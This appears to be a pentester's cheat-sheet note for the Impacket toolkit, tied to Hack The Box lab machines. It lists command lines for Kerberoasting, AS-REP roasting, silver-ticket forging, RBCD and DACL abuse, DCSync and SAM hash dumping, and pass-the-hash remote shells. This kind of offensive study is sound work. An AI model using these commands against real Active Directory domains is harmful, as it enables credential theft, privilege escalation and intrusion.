🛠️ Impacket

Installation

pipx install impacket

Common Commands

Impacket ships dozens of scripts covering unrelated parts of an AD attack chain — grouped here by what they’re actually for, rather than one flat list.

Kerberos Attacks & Ticket Handling

Command	Description
impacket-getTGT <domain>/<user>:<pass>	Request and cache a TGT (export KRB5CCNAME=<user>.ccache to use it).
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-host <dc> -k -request	Active Directory - Kerberoasting — request TGS hashes for every SPN-registered account.
impacket-GetNPUsers <domain>/ -usersfile users.txt -no-pass -dc-ip <dc_ip>	Active Directory - AS-REP Roasting — request AS-REPs for every account with Kerberos pre-auth disabled, no credentials needed.
impacket-ticketer -spn <spn> -user-id 500 -nthash <hash> -domain <domain> -domain-sid <sid> Administrator	Forge a Active Directory - Silver Ticket Attack.
impacket-getST -spn '<service>/<target_fqdn>' -impersonate <user> '<domain>/<attacker_computer>$:<pass>'	S4U2Self + S4U2Proxy — request a service ticket impersonating <user>, the final step of an Active Directory - Resource-Based Constrained Delegation (RBCD) Attack.
impacket-ticketConverter <in>.kirbi <out>.ccache	Convert a Windows-format Kerberos ticket (.kirbi, e.g. from Rubeus) into a .ccache usable by every other Impacket script.

ACL / DACL & Delegation Abuse

Command	Description
impacket-dacledit -action write -rights FullControl -principal <user> -target-dn "<dn>" '<domain>'/'<user>':'<pass>'	Read/modify an AD object’s DACL (backs up the original ACL to a .bak file first).
impacket-owneredit -action write -new-owner '<user>' -target '<target>' '<domain>'/'<user>':'<pass>'	Take ownership of an AD object via WriteOwner — the first step of Active Directory - Ownership Abuse (WriteOwner & WriteDacl).
impacket-addcomputer '<domain>/<user>:<pass>' -computer-name '<name>$' -computer-pass '<pass>'	Create a new computer account (uses up ms-DS-MachineAccountQuota) — the usual first step of an Active Directory - Resource-Based Constrained Delegation (RBCD) Attack.
impacket-rbcd -delegate-to '<target>$' -delegate-from '<attacker_computer>$' -action write '<domain>/<user>:<pass>'	Write msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer object for an Active Directory - Resource-Based Constrained Delegation (RBCD) Attack.

Credential Dumping & Replication

Command	Description
impacket-secretsdump <domain>/<user>:<pass>@<dc>	Active Directory - DCSync Attack — dump every domain account’s hash via directory replication.
impacket-secretsdump -sam SAM -system SYSTEM LOCAL	Offline SAM/SYSTEM hive dump (local hashes) from files pulled off a target instead of over the network.

Enumeration

Command	Description
impacket-getPac -targetUser <user> <domain>/<user>:<pass>	Retrieve a user’s PAC — handy for pulling the domain SID.
impacket-lookupsid '<domain>/.'@<target> -no-pass	Active Directory - RID Cycling — resolve SIDs to account names over a null/Guest session, even when direct enumeration is blocked.

Lateral Movement & Remote Access

Command	Description
impacket-psexec <user>@<target> -hashes ':<nt_hash>'	Pass-the-hash into a SYSTEM shell via a temporary service.
impacket-wmiexec <domain>/<user>:<pass>@<target>	Semi-interactive shell over DCOM/WMI (quieter than psexec, no service created).
impacket-smbclient -k <domain>/<user>:<pass>@<target>	Interactive SMB client, Kerberos-aware.
impacket-mssqlclient -k <dc>	Connect to MSSQL, using whichever Kerberos ticket is currently cached.
impacket-mssqlclient '<domain>/<user>:<pass>@<target>'	Connect to MSSQL with a SQL-authenticated login (e.g. sa) — the usual entry point for MSSQL - xp_cmdshell Command Execution.

Tips & Tricks

• Every script that talks to a specific DC accepts -k (Kerberos auth) and -dc-host <name> — once NTLM is disabled domain-wide, -dc-ip gets rejected and the hostname has to resolve via /etc/hosts.
• dacledit/secretsdump/similar write-capable scripts drop a timestamped .bak file before they change anything — useful both as a restore point and as evidence of exactly what got modified.

Related Usage

File	Created
HTB Machine - Administrator	Wednesday, July 22nd 2026, 5:00:00 am
HTB Machine - Authority	July 23, 2026
HTB Machine - Certified	July 23, 2026
HTB Machine - Cicada	Tuesday, July 21st 2026, 2:55:20 am
HTB Machine - EscapeTwo	Thursday, July 23rd 2026, 10:31:00 pm
HTB Machine - Sauna	Tuesday, July 21st 2026, 4:41:17 am
HTB Machine - Scrambled	Monday, July 20th 2026, 11:37:01 pm
HTB Machine - StreamIO	July 21, 2026
HTB Machine - Support	July 22, 2026

---

References: Impacket GitHub